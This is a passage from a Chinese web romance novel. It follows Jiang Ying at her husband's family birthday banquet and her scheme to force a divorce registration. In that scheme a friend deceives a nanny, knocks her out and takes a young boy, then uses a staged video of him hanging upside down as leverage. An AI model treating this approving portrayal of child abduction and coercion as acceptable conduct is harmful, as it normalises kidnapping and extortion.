狗男人嘴里果然没好话,江莹手指卷曲,在他掌心用力往下扣。
陆砚深嘴角微扬,拒绝了上来攀谈的人,带着她往休息室去见爷爷奶奶。
看到陆宁站在门外,陆砚深蹙眉,“你站在门外干嘛?”
陆宁皱着眉,一脸不情愿,“爷爷不让我进去,就让我站在门口望风,说有人来了让稍等。”
“里面还有别人?”
“有,神秘人。”陆宁说着瞪了一眼江莹,“当然,也是老熟人。”
“老熟人,还用你站在这里把门?”
江莹也好奇是谁会让爷爷这么紧张,连拜寿的人都不见。
“你以为我想啊,我本来想把那人赶走的,谁知爷爷拿着拐杖给我打了出来。”
陆宁越说越气,看着江莹的目光带着恨意。
陆砚深看陆宁的样子,隐隐觉得里面的人跟江莹有关。
他上前一步,抬手推开休息室的门,只见室内一个青年男人正恭恭敬敬给老爷子和老太太敬茶。
第55章 宋瑾修跟陆家的关系
老爷子看到陆砚深,神色怔住。
老太太赶忙擦了擦眼角的泪,笑道:“砚深,前厅那么多客人,你怎么过来了?”
“江莹不放心,过来看看爷爷的状态。”
江莹转脸看了他一眼,这是给她博好感?
老爷子回神,勉强扯动嘴角,“给你们介绍个人,来认识一下。”
陆宁撇嘴,“爷爷,我哥他们认识,您不用介绍。”
网上的事老爷子知道,他暗暗提了一口气,“现在重新认识一下。”
之所以看到消息直接晕厥,就是因为看到了跟江莹有牵扯的人。
陆砚深牵着江莹上前,前面的男人缓缓转身。
三人面对面站着,似乎惊讶的只有江莹。
两个男人望着彼此,一个清冷之至,一个温润带笑。
当然陆砚深也奇怪宋瑾修怎么会在这儿,但他毕竟浸淫名利场多年,情绪把控这一块儿向来不外露。
“陆总,幸会!”
“宋总,好像不在受邀人员中。”
陆砚深丝毫不留情面,对于宋瑾修的示好,视而不见。
老爷子开口,“砚深,来者是客,更何况瑾修是……是我已故战友的孙子,我们陆家应当提携。”
老太太附和,“砚深,这孩子父母死得早,家里也没什么人了,在江北以后能帮的帮一把。”
江莹晕乎乎地反应过来,点头打招呼,“师哥。”
陆宁不乐意,“爷爷、奶奶,这人就是跟江莹传绯闻的那人,你们还要我哥帮他?”
“住嘴。”老爷子呵斥,“瑾修已经给我们解释了,都是网上造谣的。”
“那天在你爷爷病房你不是也在,看看爸妈在哪儿,实在没事给你大姐帮忙去。”老太太开口赶人。
江莹有些奇怪,老太太竟然没有怪她,还把陆宁往外赶,看来对宋瑾修挺看重。
陆宁被轰走,宋瑾修开口,“本来不想来打扰,听说陆爷爷身体不好,就想着趁陆奶奶寿宴过来看看二老。如今见到了,我的心愿也了,就不参加寿宴。正如陆总所说,并不在受邀名单内。”
“你这孩子,你能来,爷爷奶奶肯定欢迎,留下来吃顿饭。”
老太太眼里闪着泪花,那份亲切与疼爱,让江莹意外,嫁到陆家三年,她可从来没有对自己这么亲切过。
“不了,我就不给陆总添麻烦了,告辞。”
江莹想叫住师哥,但她似乎没有立场。
而且师哥既然这么说,想必是真不想留下。
只是他跟陆家有这层关系,怎么从来没有听他说起过?
休息室的门关上,看江莹发呆,陆砚深低声道:“舍不得他走,还是想跟他一起走?”
冷冽的声音,让江莹回神,弯唇道:“两者都有,你还不放开。”
“休想!”男人咬牙,笑着看她。
老两口似乎因为宋瑾修的走情绪欠佳,没有说话,神色倦怠,并没有在意两的举动。
这时,陆君带着几个贵妇进来。
江莹只认识其中两个,是陆砚深姑姑和表妹。
“爸妈,我回来晚了。”
姑姑陆静淑一直在京市,丈夫从政,在京市担任要职,又是家里最小孩子最得宠的孩子,所以也是一个鼻孔朝天的主儿。
对江家逼婚的事很不齿,自然也看不上她。
“外公外婆,我妈听说外公病了就急着回来。但刚好赶上我爸升迁晚了两天,我爸等会儿也过来,他来调研考察这会儿还在开会。”
表妹乔云舒温婉可人,虽然接触不多,但对江莹恭谦有礼。
陆砚深还是挺喜欢他这位姑父的,深谋远虑,陆氏能成功转型,陆砚深从他那里得益不少。
“姑父要来,怎么也不提前说一声。”
“你姑父说让我们不用等,他时间不定。”
江莹对于这个姑父,只是停留在大家口头上,知道有这么一个人,却从来没有见过。
他们结婚那年,因为乔远文在外地考察脱不开身,也没有到场。
此刻最高兴的莫过于老太太,笑得合不拢嘴,“好好好,今年这个寿,我算是圆满了,你们都到了,想见的挂念的人都见到了。”
老爷子也点头,“今天就当过年了。”
大家都明白老爷子这话什么意思,他就是担心自己下了手术台,过不了今年这个年。
“爸,过年我们还聚在一起,我跟云舒这次留在家里过年,反正每年远文都忙得顾不上我们。”
陆静淑已经快五十岁的人,因为包养得好,看起来也不过三十多岁,在自己父母面前依旧带着娇憨。
“那感情好,你们都在家,我跟你爸才高兴。”
孙兰芳看看李玉婉,公婆向来疼爱小姑子,如今妹夫又身居高位,同样是女人,陆静淑的命好到让人嫉妒。
要留在家里过年,这下家里有的热闹了,平时要迁就陆君这个姑小姐,现在又多了一个姑奶奶。
陆砚深看了一言不发的江莹,握着她的手没有松。
陆君看他杵着在一群女眷中,提醒道:“砚深,外面好多宾客,你去招呼一下,二叔和三叔都在外面。”
陆静淑最喜欢自己这个大侄子,拍了拍他的胳膊,“去吧,忙你的,等晚会儿我们一家人再聚。”
陆砚深看了一眼江莹,似乎不放心。
陆君不悦,第一次见弟弟这么粘着老婆,“快去吧,我们还能把你老婆吃了?”
江莹抬头,弯唇笑笑,满眼乖巧,“大姐不会吃人,倒是会使唤人。”
陆砚深在她们这些人对她还有几分客气,陆砚深一走,立马把她当使唤丫头。
江莹此刻一副开玩笑的样子,陆君虽然生气,但当着这么多人的面又不能发。
老爷子看着两人这会儿手牵手,倒是心里欢喜。
“臭小子,几天不见倒是知道疼老婆了,从进来就牵着手,什么时候学得这么腻歪。”
除了上次故意气他三叔,漫不经心拉着江莹的手看,他从来不会在人前跟江莹腻歪,现在被老爷子这么一说,有些不好意。
“不是您说疼老婆旺家?”
他拧眉看了眼揭他短的老爷子,转身离开,走时看了眼江莹,低声道:“你带云舒转转。”
意识到他在帮自己解围,江莹抿唇,笑意凉凉。
不是因为他,自己怎么会在他们家这么难做,早不维护,他是现在才知道自己在这个家里的处境吗?
人死了知道哭,心凉了知道捂,晚了!
只是还没有等江莹跟乔云舒出去,秦欣提着她准备的生日礼物过来。
网上的新闻,乔云舒是看到了的,秦欣跟她表哥的事,她也知道。
所以看到秦欣,她默默看了眼江莹。
看江莹一点表情都没有,她低声问:“表嫂,你怎么这么淡定?”
乔云舒比江莹小两岁,她挺喜欢自己这个表嫂,人长得漂亮,而且特别好相处。
江莹抿唇,嗓音洒脱,“女人就是要心态好、状态好,自己心态好才可以去搞别人心态,自己状态好才可以去搞别人状态。”
乔云舒听完愣了一瞬,江莹以前不这样,她现在是怎么了?
第56章 睡出感情了,喜欢她
秦欣上前,经过江莹时看了她一眼。
“陆奶奶,祝您身体健康,长命百岁!”
老太太喜欢秦欣,当初若不是老爷子答应陆砚深娶江莹,说不定秦欣会是他们的孙媳妇。
“秦丫头客气。”
“奶奶,欣欣姐给准备的生日礼物,您肯定喜欢。”陆宁拉着秦欣往前,“这件礼物欣欣姐找了好久,才找到的。”
“是吗?”老太太饶有兴致地盯着秦欣手里的木盒子,“孩子,你快放下,看着还挺沉。”
秦欣将东西放在老太太面前的矮几上,“听砚深说您之前有一款古色古香的化妆品箱,坏了之后您还一直不舍得丢,所以我就特意帮您找了这一款,专家说是宋代的,您看喜不喜欢。”
他这话一出口,陆宁愣了。
不是她说的吗,怎么变成堂哥说的?
估计是欣欣姐记错了,陆宁这么想着,也没有纠正。
江莹弯唇,这事陆砚深可从来没有跟她说过。
秦欣东西打开的那一瞬,老太太瞬间就泪目了,颤抖道:“喜欢,喜欢,比我那件做工要精细,我那件是我爷爷亲手给我打造的,就是被我不小心撞掉摔裂了。”
“奶奶喜欢就好。”
“秦小姐有心了。”陆静淑看着她,微微勾唇,态度明显冷淡。
她是不喜欢江莹,但也不喜欢这种没有边界感,随意出现在已婚男人身边的女人。
即便他们俩有情,也不应该在对方有家庭的情况下介入。
秦欣对陆静淑并不算热情的神色,并不放在心上,抿唇笑道:“应该的,陆奶奶喜欢我,我就应该孝顺她老人家。”
“秦丫头,你这东西保存得这么完好太难得,也太贵重,奶奶不能收。”
“奶奶,不值什么钱,一开始也损伤了不好,找了修复大师修复过的。”秦欣笑容带着讨好。
“是吗?那这个大师可太厉害了,一点都看不出来呀。”
“是,古坊斋的钟老说他自己都没有这个手艺,是请了非遗工匠大师山风修复的。”
秦欣声落,乔云舒凑上前,“我爸就特别喜欢山风大师的逍遥楼模型,一直摆在他书房,说是特别有底蕴。”
江莹此刻愣住,原来老师早就知道她是山风。
老太太欣喜,“能得到远文的赞许,看来这个大师不一般。秦丫头,你这个礼我收了。”
“陆奶奶太客气了,这些年砚深帮了我很多,一个寿礼不足为谢。”
陆宁听他们说这个山风好像很厉害,想到江莹在古坊斋,笑道:“堂嫂,你在古坊斋端茶倒水有没有见过山风大师?让他帮忙把奶奶的箱子也修一下呗。”
她这话,明显是想让她难堪,但江莹并不在意,弯唇笑道:“我一个端茶倒水的,没资格见。”
这话一出口,陆君瞪了她一眼,“不是说让你在家备孕,怎么又跑那里去了?”
“在家无聊,去转转。你弟弟大半夜都不回家,我去看看自己的老师不犯法吧?”
乔云舒看着江莹,只觉她今天格外不一样。
“行了,你们也别都站在这里,去外面转转,别让宾客等着。”
老爷子和老太太只当她是因为秦欣不高兴,也没有多想。
江莹要走,被老爷子叫住,“莹莹,你等一下,爷爷有话跟你说。”
老爷子醒后,江莹去看过一次,老爷子当时有气无力,只说让他们好好过日子。
江莹知道老爷子的心思,噙着笑上前,“爷爷。”
“莹莹,网上的事都已经澄清,家里不会有人再提,你也别往心里去。瑾修那孩子我们也信得过,你们早就相识,也是缘分。”
老太太难得没有说她,叮嘱道:“赶紧生个孩子,别让我们这把老骨头跟着你们操心。”
这倒让江莹有些好奇,老两口怎么对宋瑾修印象这么好。
不管怎么说,她现在没有打算让老两口知道离婚的事,所以点头答应。
刚出休息室,就看到张启明被众人围着,好不得意。
他倒是好意思,陆家都没有人搭理他,他也能谈笑风生的坐着。
都说儿不嫌母丑,狗不嫌家贫,但这一刻江莹真想不通为什么她妈那样优雅清高的人怎么会看上这样一个男人?
一旁的几个太太看到江莹光彩照人,酸得不行。
“看到没有,这女人长得好,就是好命,前男友都公开挑衅了,陆总都没有甩了她。”
“可不是,网上闹的老爷子都住院了,她还好意思在这里当主人。”
“男人嘛,都喜欢长得好,玩儿得花那一票。肯定活儿好,要不然陆总怎么还留着她。”
“秦欣也来了,真是热闹。蓝湾那么大的项目,陆总说给就给,可见旧情难忘。”
“你看看她爸,那叫一个装,若不是他女儿爬上了陆砚深的床,谁搭理他。”
三个女人一台戏,没有戏文,也能唱。
更何况他们说的都是事实,张启明看到她和陆砚深想跟他们说话,陆砚深直接带着江莹去了休息室。
当时张启明脸色难看至极。
若是以前江莹会觉得很下不来台,现在她还觉得挺爽。
乔云舒看江莹从休息室出来,便朝她走了过来,两人找了个相对安静的地方坐下。
她怕江莹心里难受,安慰道:“表嫂,别听她们嘴碎,我看得出来,表哥是担心你的。”
“我没事,嘴长在别人身上,她们想怎么说怎么说,反正也不敢大声说。”
江莹抿唇笑着看了看时间,这个点梁玥应该已经快到游乐场。
“表嫂,钟老是你老师,能不能引荐一下山风,我爸特别喜欢他的作品,我想给定制一款笔筒送给我爸,作为他五十岁生日礼物。”
乔云舒眼里对父亲的敬爱,让江莹动容。
同样是父女,她怎么就入不了张启明的眼,现在说是反目成仇都不为过。
张启明为什么要这么对她,他对张冉冉那个继女都比对她好。
“可以啊,你想要有想法可以跟我说一下,我转告。”
“太好了,我之前了解过这个山风,三年前参加完非遗工匠大赛得奖都没有去,这三年更是没有人知道他在哪儿,没想到你能联系上他。”
“恰巧而已,他跟我老师是故交。”江莹抿唇轻笑。
另一边,陆砚深推掉了几个敬酒的人,跟沈斯阳站在楼台抽烟。
看着江莹跟乔云舒静静坐着,缓缓吐了个烟圈。
“哎,我听说秦欣她妈把你丈夫娘捅了,江莹逼你签了离婚协议?”
陆砚深冷眼看向他,“听谁说?”
这消息他第一时间警告了疗养院的院长,没有对外说起,这货是怎么知道?
“前前前女友,她是那里的护士。”
陆砚深冷笑,“你人缘真好。”
沈斯阳白了他一眼,“我怎么样不用你管,说你呢,她真要跟你离婚?”
陆砚深没有说话,盯着眉眼弯弯的江莹,提到离婚,心里莫名烦躁。
“少打听。”
某人不耐烦的神色,落在沈斯阳眼里,让他觉得不可思议,“我怎么觉得你不想离呢?”
之前都是江莹哈着他,这段时间,江莹不搭理他,处处下他面子,这人不但没将人怎么样,还不愿意离婚。
让他嗅到什么,“哎,你这是睡出感情来了,喜欢她?”
“也是,当初我就说,男女之间多睡几次,就什么都有了。”
陆砚深睨了他一眼,“嘴巴能不能不那么松,天天窜稀。”
“陆砚深,我这是关心你,你要真不想离……”
陆砚深一记眼神过来,沈斯阳瞬间转移话题,“哎,说真的,你老婆不光长得好,身材也很有料啊!”
男人抬脚踹在他屁股上,“滚,饭别吃了。”
沈斯阳看他急了,就知道这货心里有人家,就是嘴硬。
寿宴开始,陆砚深在江莹身边坐下,直接把自己的外套披在她身上。
“你干什?”
“怕你感冒。”
沈斯阳坐在隔壁一桌看着陆砚深咬唇憋着笑。
陆君看自己弟弟这么殷勤,暗暗摇头。
坐在首位的老太太笑眯眯道:“感谢大家给我这个老太婆祝寿,都别拘着,我们开席。”
这时,一个儒雅中年男人迈着矫健的步子进来,手里的外套转手递给身后的人。
“爸妈,我来晚了。”
陆静淑看到自己丈夫,弯唇笑了笑,转头看向陆君,“君,交代一下,所有跟杏仁有关的菜品都撤了,你姑父过敏。”
第57章 绑架他儿子
江莹看着走来的男人,挺拔俊朗,儒雅中透着股不怒自威。
陆砚深第一个站了起来,紧接着陆家老二和老三,连同所有家属都站了起来。
乔远文抬抬手,“不好意思,差点错过了妈的寿宴。”
陆静淑给他布好碗筷,抿唇道:“你是掐着饭点来的。”
乔远文扯着嘴角颔首,“对,我是闻到了饭香。”
“你工作忙,我们都理解,辛苦你赶过来。”老太太声音含笑。
丈母娘看女婿,怎么看怎么喜欢。
江莹还从来没有见过老太太这么慈爱笑眯眯看着一个人。
“应该的,这几年都没有回来看你们二老,难得这次刚好在江北。”
男人言语间客气,不失礼数,却也有明显的距离感。
“远文,这次在江北多待几天。”
老爷子也几年没见姑爷,加上要做手术,心里总不踏实。
“公务繁忙,身不由己。”乔远文给老爷子倒了杯水,“我会让静淑和云舒多陪陪您。”
江莹看着这位姑父,言谈举止恭肃有礼,仿佛他做什么都是对的,让人挑不出毛病。
不由得心想这应该就是身居高位自带的威压,跟陆砚深身上的矜贵清冷如出一辙。
只是乔远文身上的气质更加沉稳,相比之下陆砚深稍显稚嫩。
“小姑,所有菜都不含杏仁,我已经问过了。”陆君打了电话过来,在老太太身边坐下。
江莹心想,她也杏仁过敏,似乎没有人记得,包括陆砚深。
“你又搞特殊,有杏仁的我不吃就行,兴师动众。”
乔远文低声责备,陆静淑笑容温婉,“小心点好,上次没把我吓死。”
这时,经理带着厨师过来,小心赔笑道:“陆小姐,陆总已经提前交代,所有菜品都不含杏仁,我跟主厨刚刚又确认了一遍,您放心。”
“砚深还挺细心,不枉你姑父总夸你。”陆静淑看着自己大侄子,满意地笑道。
陆砚深看了一眼江莹,嘴角微勾,低垂的手自然而然放在她大腿上,身体微微倾向江莹,两人明显靠得近很多。
秦欣看到这一幕,紧紧攥着手里的水杯。
她追了陆砚深这么多年,决不允许陆砚深爱上江莹。
陆砚深拦住江莹的肩,勾唇介绍:“姑父,这是江莹,我妻子。”
随着他的介绍,江莹推开他的手,起身行礼。
乔远文视线自然而然落在江莹身上,原本泰然自若的人,神色瞬间凝滞。
“姑父好。”
江莹倒了酒上前给乔远文敬酒。
“你姑父不能喝酒。”陆静淑出言阻止。
江莹弯唇一笑,“没打算让姑父喝,我是小辈,我敬酒是我的礼数。”
她脸上的笑意看着温婉可人,实际暗藏着对陆静淑的不屑。
陆砚深拧眉,江莹是彻底放开了,谁都怼。
陆静淑睨了她一眼,没说什么,扶着自己丈夫的胳膊叮嘱:“你不能喝酒。”
乔远文回神,这丫头……
“姑父,第一次见您,我干了。”
娇娇弱弱的女子,动作却爽利得很,跟曾经的那个人很像。
不光外貌像,就连脾气秉性似乎都有那么一丝重叠。
“你跟砚深结婚,没有顾上过来,这杯酒就当是喝了你们的喜酒。”
乔远文不顾妻子的反对,端起手边的酒杯,一饮而尽。
江莹弯唇笑了,他笑的不是乔远文给面子喝酒,而是在想,若是他知道明天她和陆砚深极有可能离婚,会是什么表情。
从乔远文坐下,自然而然成了主角,所有人的目光都集聚在他身上。
张启明没有见过乔远文,能让陆家所有人这么看重,显然身份不凡。
不知道是他直勾勾的眼神引起了乔远文的注意,还是乔远文不经意撞上他的视线。
在看到张启明的刹那,乔远文眸色沉了沉。
张启明见他看着自己,脸上立马堆着笑,朝他颔首。
“您好,我是江莹的父亲,张启明。”
乔远文怔了一瞬,难怪……
他视线却快速移开,像是没有听到张启明的话。
张启明讪讪地坐在江莹身侧,心里虽然不爽,但也不敢发作。
江莹知道他坐着不会好受,他越是不好受,她心里越舒服。想到他每次逼迫自己找陆砚深要好处的过往,江莹觉得此刻的难堪都算小的。
她看了下时间,这个时候游乐场应该没多少人,梁玥应该很快就会把那个孩子带走。
正如江莹所猜测的,梁玥这会儿正等在游乐场门口。
看到秦欣家保姆带着孩子站在门口等车,从车里下来走了过去。
“宝贝,你就是轩轩吧?”
小家伙捂得严实,只留两只乌溜溜的眼珠子看着梁玥。
保姆警觉地看着她,“小姐你有事?”
“大姐,你别紧张,是欣欣让我来接你们的,你们家司机送她去温泉山庄路上爆胎了。”梁玥捏了捏小家伙的脸,笑得甜软,“他赶不过来,所以欣欣就给我打电话,让我过来接你们回家。”
看保姆不信,梁玥笑道:“我给欣欣打过电话,让她跟你说。”
她说“欣欣”两个字胃里恶心得想吐。
保姆看她坦然,心里的防备减了一半。
秦欣打电话打通,手机响了好几遍都没有人接。
保姆不放心道:“我给司机打个电话。”
梁玥点头,“当然,你打。”
于是保姆给司机打电话,接通后司机说车子爆胎,让她打车先回去。
保姆看梁玥坦然,司机也确实说车子爆胎,便不再怀疑。
“谢谢,确实是爆胎了过不来。”
梁玥点头,“大姐,你很负责。”
说完带着他们上车。
上车的瞬间,梁玥抬手在保姆脖颈后来了一掌,人直接晕了过去。
小家伙不知道怎么回事,看到保姆昏睡,刚想哭眼前出现一根跟他脸一样大的棒棒糖。
“宝贝,阿姨累了,刚睡着,我们不要吵醒她好不好?姐姐给你吃棒棒糖。”
小家伙怎么可能理解成年人的套路,开心吃接过棒棒糖,安安静静地坐着。
搞定后,梁玥给江莹发了条消息:他儿子绑到了,一切OK!
发完消息,梁玥开车离开。
江莹看到消息抿唇笑笑,她已经吃饱,不愿坐在张启明身边,便想起身去转转。
陆砚深看她要离席,抬手压在她腿上,“干什么去?”
“洗手间。”江莹看着他眉眼弯弯,手却抠着他的手,“陆总要不要一起?”
“你想我跟你一起?”
江莹掐他,“你不要脸的话,就一起啊!”
陆砚深看着她粉红色的脸颊,莹润的唇瓣,喉结滚动。
两人做得近,女人身上他熟悉的气味,丝丝缕缕往他鼻孔里钻,黑色的礼服,腰身纤细,更衬得她肤白如凝脂。
江莹看他不说话,直接把他的手推开,起身离席。
转身的瞬间,撞上乔远文的视线。
他似乎神色顿了一下,然后微微勾唇,算是打招呼。
江莹并没有放在心上,她稍稍勾头,迈步离开。
陆砚深看着她,聘聘婷婷的身影落入他眸中,不觉间眸色沉了几分。
江莹经过楼道口,隐隐听到里面有人在说话,“乖,听话,过几天我去看你们。”
第58章 小伙子,你是自愿离婚的吗
江莹听出是许振清的声音,心里有些忐忑,怕他怀疑自己听到他说话。
于是悄悄后退了两步,拿出手机娇笑道:“知道啦,舅妈你早点休息,我这边还没有完事,改天去看你。”
果然听到她的声音,楼道里的声音消失了。
江莹挺着后背往卫生间走,直到进了卫生间,才松了口气。
她倒不是怕许振清杀人灭口,只是单纯不想掺和到这件事里。
陆君一直标榜她的丈夫爱她,对她始终如一,但真要当着她的面被打脸,陆君一定不会让她好过。
多一事不如少一事。
十分钟后,她从卫生间出来,楼道里已经没人。
回席时,许振清的视线停留在她身上,江莹能感受到。
好不容易熬到寿宴结束,将老爷子和老太太送走,见陆砚深跟乔远文在聊事情,她偷偷想溜走。
像是被陆砚深看透,陆砚深抬手握住她的手腕,声音平稳,“姑父,今天你也累了,改天我再跟您约时间详细聊。”
乔远文今天确实累,加上看到了他没想到的人,情绪有些低沉,点头道:“今天确实累了,改天跟我说说你的想法。”
道别后,陆砚深拉着她上车,“今天晚上还算乖。”
江莹不理他,冷声道:“送我去我妈那儿。”
陆砚深直接吩咐,“去梧桐里。”
江莹瞪着他,“陆砚深……”
“你看看现在几点了,去了不打扰你妈休息?”
江莹:……
知道现在说什么狗东西都不会让她如愿,干脆不说话,反正他今晚应该也不会有时间睡觉。
到了梧桐里,江莹输入密码开门,陆砚深紧跟在她身后。
开门进去的那一瞬间,狗男人扯住她的手腕,将人带到怀里。然后一个转身,江莹直接被他抵在门板上。
“陆砚深,你想干什么?”
“你穿成这样不就是为了勾引我?”
“这不是你准备的?”
“给你外套了,在车里为什么不穿?”
江莹:……
她挣扎,陆砚深低头直接吻了上去,完全不给她挣脱的机会。
伸手抬起她的腿,勾在他腰间,白皙匀称的小腿在他身侧晃荡。
黑暗中所有感官被放大,陆砚深的指尖抚着她单薄的肩膀,所到之处,微凉!
狗男人身高优势明显,江莹一只脚虚虚点在地上,勉强支撑。
男女力道的悬殊,此刻体现得淋漓尽致。
任她拼尽全力,欺身压在她身前的人纹丝不动,唇齿在她身上为非作歹。
擦枪走火之际,陆砚深电话响起。
他置若罔闻,江莹伸手从他口袋里掏出手机,看到是秦欣打来,她快速接通。
“砚深,轩轩出事了。”
秦欣抽抽噎噎的声音传来,陆砚深瞬间没有了动作。
他深吸一口气,从江莹手中接过电话,声音暗哑,“出什么事了?”
“阿姨带轩轩去游乐园,到现在都没有回来,电话也打不通。”
“先别急,我马上让人去找。”
他说完拉开门就要走,被江莹叫住。
“陆砚深,你觉得我们还能过下去吗?她一个电话,你就把我推一边要走,还让我不要计较,要乖,你自己说这种要求过不过分?”
“事有轻重缓急。”他丢下这句话,开门走人。
陆砚深走后,江莹开灯,缓了好几秒,弯唇冷笑。
她拿出手机看到梁玥发来的视频,突然笑了起来。
抬手点开,一声稚嫩的哀求声传了过来,“爸爸……妈妈……,救我啊,我好害怕。”
视频里,小男孩儿哭得可怜。
他被人吊着脚踝,头朝下悬在没有防盗窗的敞开式阳台上。
冷风呼啸,视野开阔。
一个瘦小的身影,被倒吊在半空中晃荡,看得让人毛骨悚然。
“爸爸……妈妈……”
稚嫩的哭喊声,可怜至极。
“我害怕……我想回家……呜呜呜……”
一双小手在空中慌张地乱抓,小小的身体随着哭喊剧烈地摆动。
看上去,只要绑着他的绳子稍有不稳,他就会像一片落叶,瞬间坠落。
江莹看完视频给梁玥打电话,电话响了好久才接通。
“喂,孩子没事吧?”
“放心,好着呢,开心的不行。”
紧接着传来小男孩儿咯咯的笑声。
“稳住孩子,明天我跟陆砚深办完手续,再放他走。快凌晨了,让孩子赶紧睡。”
挂了电话,江莹搓了搓脸,做梦也想不到三年前她一腔热烈嫁给自己喜欢的男人,三年后会绞尽脑汁要跟他离婚。
这场戏是梁玥设计的,毕竟是专业编剧,内容和画面一眼真。
不怕陆砚深不同意。
与视频里迥然不同的画面,在梁玥小姑家。
柔软的地毯上,梁玥正陪着小家伙一起玩。
所谓的“倒挂金钩”,不过是让小家伙的腿弯挂在晾衣杆上,梁玥全程都在下面用手护着,下面还铺了厚厚一层地毯。
而此时,两人就坐在地毯上玩儿打地鼠。
“姐姐,我刚刚是不是很厉害?”
梁玥毫不吝啬地夸奖,“轩轩,真棒,比姐姐都勇敢,姐姐都不敢这么倒挂着。”
小家伙脸上没有半点视频里的恐惧,反而挺着小胸脯,一脸的骄傲和得意。
“那当然,我可是男子汉。”
梁玥看着天真可爱的孩子,心里隐隐有些愧疚。
大人的事不应该牵扯到孩子,但他爹妈不道德,只能委屈这个小家伙。
江莹算着陆砚深寻找的时间,他应该很快能查到那辆车所在的车行。
但他一来一回查清楚,天也该亮了。
江莹洗澡睡觉,静等天亮。
早上八点,江莹开车出门去民政局。
出发前给陆砚深发了地址、视频,还留了言。
【陆总,要想让你儿子平安无事,九点钟到民政局。】
两分钟后,陆砚深的电话一个接一个地打。
江莹听着烦,直接关了机。
路上,她吃了个早餐,八点四十五分达到民政局。
陆砚深已经等在门口。
看到她,男人一把拽住她,带着盛怒,“江莹,你是不是疯了?”
“我是疯了,被你逼疯的。”江莹甩开他的手,“我不想成为别人的绊脚石,也不想过三个人的婚姻,你为什么就不能放过我?”
“孩子在哪儿?你先放他回去,我们俩的事跟孩子没关系。”
“陆砚深,今天我们把该办的手续办了,孩子自然会没事。但若是不办,你这辈子都别想见到那个孩子,大不了我跟他同归于尽。”
陆砚深看着江莹冷漠又强硬的脸,心里像是压了块儿石头。
“江莹,从来没有人逼我做我不想做的事,你是第一个。你会为你今天的行为付出代价。”
他丢下这句话,抬步往办证大厅走。
陆砚深脸色阴沉可怖,在看到江莹拿出的资料一个不少,心里更是气得不行,为了离婚她准备得够充分。
帮他们办理离婚登记的大姐看两人金童玉女很是般配,心里惋惜。
又看陆砚深一脸的不情愿,好心问道:“小伙子,你是自愿离婚的吗?”
陆砚深深吸一口气,盯着江莹眸色更沉。
江莹委屈巴巴,“大姐,他是自愿的,他心情不好不是因为要离婚,而是他在外面的儿子丢了。”
大姐瞬间黑了脸,“姑娘,离得好,以后再找对象擦亮眼,好看又什么用,朝三暮四。”
陆砚深:……
二十分钟后,两人从民政局出来,江莹看着手里的《离婚受理回执单》,长长松了口气。
身旁的男人,沉脸看着她。
第59章 离婚登记而已
她就这么想离婚?
“离婚登记而已,别忘了还有一个月的冷静期。”
男人凉凉的声音给江莹轻松的心情泼了一盆冷水,费这么大劲儿就让狗东西来办了个离婚登记,一个月后他若是不同意,所有努力都白费。
看她脸上情绪僵住,陆砚深弯唇走人。
江莹上前拉住他,“肾源的事告诉我,我花了钱的,有权知道。”
陆砚深被她气笑,“你花了钱?拿我的钱跟我谈生意,江莹谁给你的底气。”
江莹挑眉,“你儿子给的,不说就让你儿子再吃点苦,我也不会真把他怎么样,顶多就是让他吃点苦,再吓吓他。”
陆砚深:……
他知道江莹不会真的对一个孩子做什么,但看到孩子哭他愧疚,自己承诺的事没有做到。
更何况对孩子的伤害,还是因为他自己造成的。
他发过誓会把轩轩当自己亲生儿子,就一定要护他平安在长大,尽他最大的能力去托举。
陆砚深想了想,难得大方的开口,“一个死刑犯,胃癌晚期,签了器官捐赠协议,配型结果没问题,但人还能挺一段时间,医生说最多两个月。”
江莹心里有些沉重,若说两个月时间太久,好像盼着人家死。但两个月对她舅妈来说确实有些难熬。
“你花了钱,我也花了钱,欠我的二点五亿打算怎么还?”
江莹咬牙,狗男人不配长嘴。
“还你个大头鬼,你给我挖坑,自己乐意送钱是你的事,跟我有半毛钱关系。”
反正也没有签任何协议,二点五,看陆砚深就是个二百五。
江莹瞥了他一眼,裹紧自己身上的大衣,上车离开。
陆砚深看着她的背影,掏了根烟点燃,他站在车门旁,视线深邃而复杂。
江莹目的达到,直接去了古坊斋。
妆奁修复完成,可以全身心投入到她的工作室上。
想到这几天都靠凌澈撑着,挺过意不去,心想过年得给小伙子包个大红包。
她到古坊斋时,钟宏正戴着老花镜研究资料。
江莹俏咪咪过去,刚准备吓他,只见钟宏猛地抬头,“嘿”一声呵斥。
吓得江莹瞬间一个激灵,捂着胸口往后退了两步。
钟宏哈哈大笑,“小样,就你这个胆量还想做坏事。”
江莹瞪着自己老师,死不承认,“我做什么坏事了?就是看您太专注,想看看什么东西让您这么入迷。”
“这么说是我冤枉你了?”
江莹点头如捣蒜,“肯定的,我怎么可能做坏事。”
钟宏抿唇笑笑,将自己手里的资料推给她,“逍遥楼的相关资料,修复工作第一次研讨会下周一在淮城举行,你跟我去。”
江莹兴奋不已,没想到这么快。
“好啊,刚好我没事。”
“这几天好好准备,图纸完善后发给我看看。”
听钟宏这么说,江莹眼睛发酸,老师一直知道她就是山风,却从来没有勉强她。
在有逍遥遗址复原的消息后就让师哥给她透漏消息,这份尊重和爱护,让她很难不感动。
“老师,谢谢您,以后我不会再为了任何人放弃我自己的事业,山风重出江湖了。”
江莹忍着眼里的泪花,语气坚定豪迈。
“整得自己像是女侠。”钟宏心里起伏,嘴上却不屑,“也就是我老了,没有精力再培养一个接班人,要不然怎么会带你?”
江莹也不反驳,笑呵呵应承,“对对对,您说的对,我就是占了天时地利人和而已。”
钟宏睨了她一眼,“三年前那个模型做的不错,看一下文献记载,图纸再过一遍。”
“您放心,我一定会全力以赴。”
这个机会不止是老师期待了很久的,她也同样期待。当初因为车祸,她以为错过了逍遥楼的修复工作。
没想到,当年的修复工作并没有启动,反而给了她一个圆梦的机会。
冥冥中自有定数,或许她这就是跟逍遥楼的缘分。
“莹莹,老师给你提个醒,你现在自己做设计,做产品,一定不要忘了发扬和传承我们的文化,要让更多的人了解和认识到中国古建筑的美。”
“您放心,这也是我的初衷。钱我不缺,名对我来说若想要,三年前我就能得到。”
钟宏欣慰地点点头,这丫头向来有股子韧劲儿,经历了这么多,心性会更稳。
江莹刚准备上楼静心研究资料,梁玥匆匆赶来。
“钟老师,好久不见。”
钟宏看到她,叹气,“得,刚想让她好好看资料,你一来今天算是白瞎了。”
“哼,您怎么能这么说,我也是给她跑腿的,不给我发工资,还得鞍前马后。”梁玥委屈。
江莹本来约了她中午一起吃饭的,但她这会儿跑来,显然是有事。
